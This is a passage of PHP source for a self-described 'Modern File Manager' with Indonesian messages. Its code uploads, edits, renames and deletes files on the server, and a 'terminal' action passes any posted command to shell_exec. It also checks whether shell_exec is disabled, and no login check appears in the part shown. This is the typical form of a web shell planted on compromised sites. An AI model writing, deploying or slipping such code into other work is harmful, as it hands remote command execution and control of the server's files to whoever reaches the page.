'code-slash', 'html' => 'filetype-html', 'css' => 'filetype-css', 'js' => 'filetype-js', 'json' => 'filetype-json', 'txt' => 'file-text', 'md' => 'markdown', 'pdf' => 'file-pdf', 'doc' => 'file-word', 'docx' => 'file-word', 'xls' => 'file-excel', 'xlsx' => 'file-excel', 'zip' => 'file-zip', 'rar' => 'file-zip', 'tar' => 'file-zip', 'gz' => 'file-zip', 'jpg' => 'file-image', 'jpeg' => 'file-image', 'png' => 'file-image', 'gif' => 'file-image', 'svg' => 'file-image', 'mp3' => 'file-music', 'wav' => 'file-music', 'mp4' => 'file-play', 'avi' => 'file-play', 'sql' => 'database', 'log' => 'file-text' ]; return isset($icons[$ext]) ? $icons[$ext] : 'file-earmark'; } function format_size($bytes) { if ($bytes < 0) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($bytes >= 1024 && $i < 4) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } function get_mime_type($file) { if (!file_exists($file) || is_dir($file)) return ''; $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $mimes = [ 'txt' => 'text/plain', 'html' => 'text/html', 'php' => 'text/plain', 'css' => 'text/css', 'js' => 'text/javascript', 'json' => 'application/json', 'xml' => 'application/xml', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif', 'svg' => 'image/svg+xml', 'pdf' => 'application/pdf' ]; return isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream'; } // === Process actions === if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { $action = $_POST['action']; // Upload file if ($action === 'upload' && isset($_FILES['files'])) { $files = $_FILES['files']; $uploadCount = 0; // Handle multiple files if (is_array($files['name'])) { for ($i = 0; $i < count($files['name']); $i++) { if ($files['error'][$i] === UPLOAD_ERR_OK) { $target = $cwd . '/' . basename($files['name'][$i]); if (move_uploaded_file($files['tmp_name'][$i], $target)) { $uploadCount++; } } } $msg = "$uploadCount file berhasil diupload"; } else { // Single file if ($files['error'] === UPLOAD_ERR_OK) { $target = $cwd . '/' . basename($files['name']); if (move_uploaded_file($files['tmp_name'], $target)) { $msg = "File berhasil diupload"; } } } } // Create folder if ($action === 'mkdir' && !empty($_POST['folder'])) { $folderName = basename(trim($_POST['folder'])); $target = $cwd . '/' . $folderName; if (!file_exists($target)) { if (@mkdir($target, 0755, true)) { $msg = "Folder '$folderName' berhasil dibuat"; } else { $error = "Gagal membuat folder"; } } else { $error = "Folder sudah ada"; } } // Create file if ($action === 'mkfile' && !empty($_POST['filename'])) { $fileName = basename(trim($_POST['filename'])); $target = $cwd . '/' . $fileName; if (!file_exists($target)) { if (file_put_contents($target, "") !== false) { $msg = "File '$fileName' berhasil dibuat"; } else { $error = "Gagal membuat file"; } } else { $error = "File sudah ada"; } } // Rename if ($action === 'rename' && !empty($_POST['old']) && !empty($_POST['new'])) { $old = safe_real($cwd . '/' . $_POST['old']); $new = $cwd . '/' . basename($_POST['new']); if ($old && file_exists($old)) { if (!file_exists($new)) { if (@rename($old, $new)) { $msg = "Berhasil diubah menjadi '" . basename($new) . "'"; } else { $error = "Gagal mengubah nama"; } } else { $error = "Nama sudah ada"; } } } // Delete if ($action === 'delete' && !empty($_POST['target'])) { $target = safe_real($cwd . '/' . $_POST['target']); if ($target && file_exists($target)) { if (is_dir($target)) { // Try to delete directory recursively $success = @rmdir($target); if (!$success) { $error = "Folder tidak kosong. Hapus manual melalui terminal"; } else { $msg = "Folder berhasil dihapus"; } } else { if (@unlink($target)) { $msg = "File berhasil dihapus"; } else { $error = "Gagal menghapus file"; } } } } // Save file if ($action === 'save' && !empty($_POST['file']) && isset($_POST['content'])) { $file = safe_real($cwd . '/' . $_POST['file']); if ($file && is_file($file) && is_writable($file)) { if (file_put_contents($file, $_POST['content']) !== false) { $msg = "File berhasil disimpan"; } else { $error = "Gagal menyimpan file"; } } } // Terminal command if ($action === 'terminal' && isset($_POST['cmd'])) { $cmd = trim($_POST['cmd']); if ($cmd !== '') { $output = array(); $return_var = 0; // Safe command execution for all PHP versions if (function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(', ', ini_get('disable_functions'))))) { $full_cmd = "cd " . escapeshellarg($cwd) . " && " . $cmd . " 2>&1"; $result = shell_exec($full_cmd); $terminal_output = $result !== null ? $result : "Perintah tidak menghasilkan output"; } else { $terminal_output = "shell_exec tidak diizinkan pada server ini"; } } } // Redirect for non-terminal actions if ($action !== 'terminal') { $params = array('open' => ''); if ($cwd !== $BASE_START) $params['p'] = $cwd; if ($msg) $params['msg'] = $msg; if ($error) $params['error'] = $error; header("Location: ?" . http_build_query($params)); exit; } } // === Get edit file === $editFile = null; if (isset($_GET['edit'])) { $ep = safe_real($cwd . '/' . $_GET['edit']); if ($ep && is_file($ep) && is_readable($ep)) { $editFile = $ep; } } // === Get directory items === $items = scandir($cwd); $folders = array(); $files = array(); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fullPath = $cwd . '/' . $item; if (is_dir($fullPath)) { $folders[] = $item; } else { $files[] = $item; } } // Sort naturally natcasesort($folders); natcasesort($files); $allItems = array_merge($folders, $files); // === Breadcrumb === function getBreadcrumbs($path) { $parts = explode('/', trim($path, '/')); $breadcrumbs = array(); $accum = ''; foreach ($parts as $part) { if ($part === '') continue; $accum .= '/' . $part; $breadcrumbs[] = array( 'name' => $part, 'path' => $accum ); } return $breadcrumbs; } // === Get server info safely === $serverInfo = 'Server: ' . php_uname('s') . ' ' . php_uname('r'); $phpVersion = 'PHP ' . phpversion(); // === Get message from GET === if (isset($_GET['msg'])) { $msg = $_GET['msg']; } if (isset($_GET['error'])) { $error = $_GET['error']; } ?> Modern File Manager

File Manager

modern · elegant · responsive

Terminal
/
Edit File:
Batal
File Explorer
item
Nama Tipe Ukuran Permission Modified Aksi
Folder kosong

Buat folder atau file baru untuk memulai

Modern PHP File Manager · Compatible with PHP 5.6 to 8.3+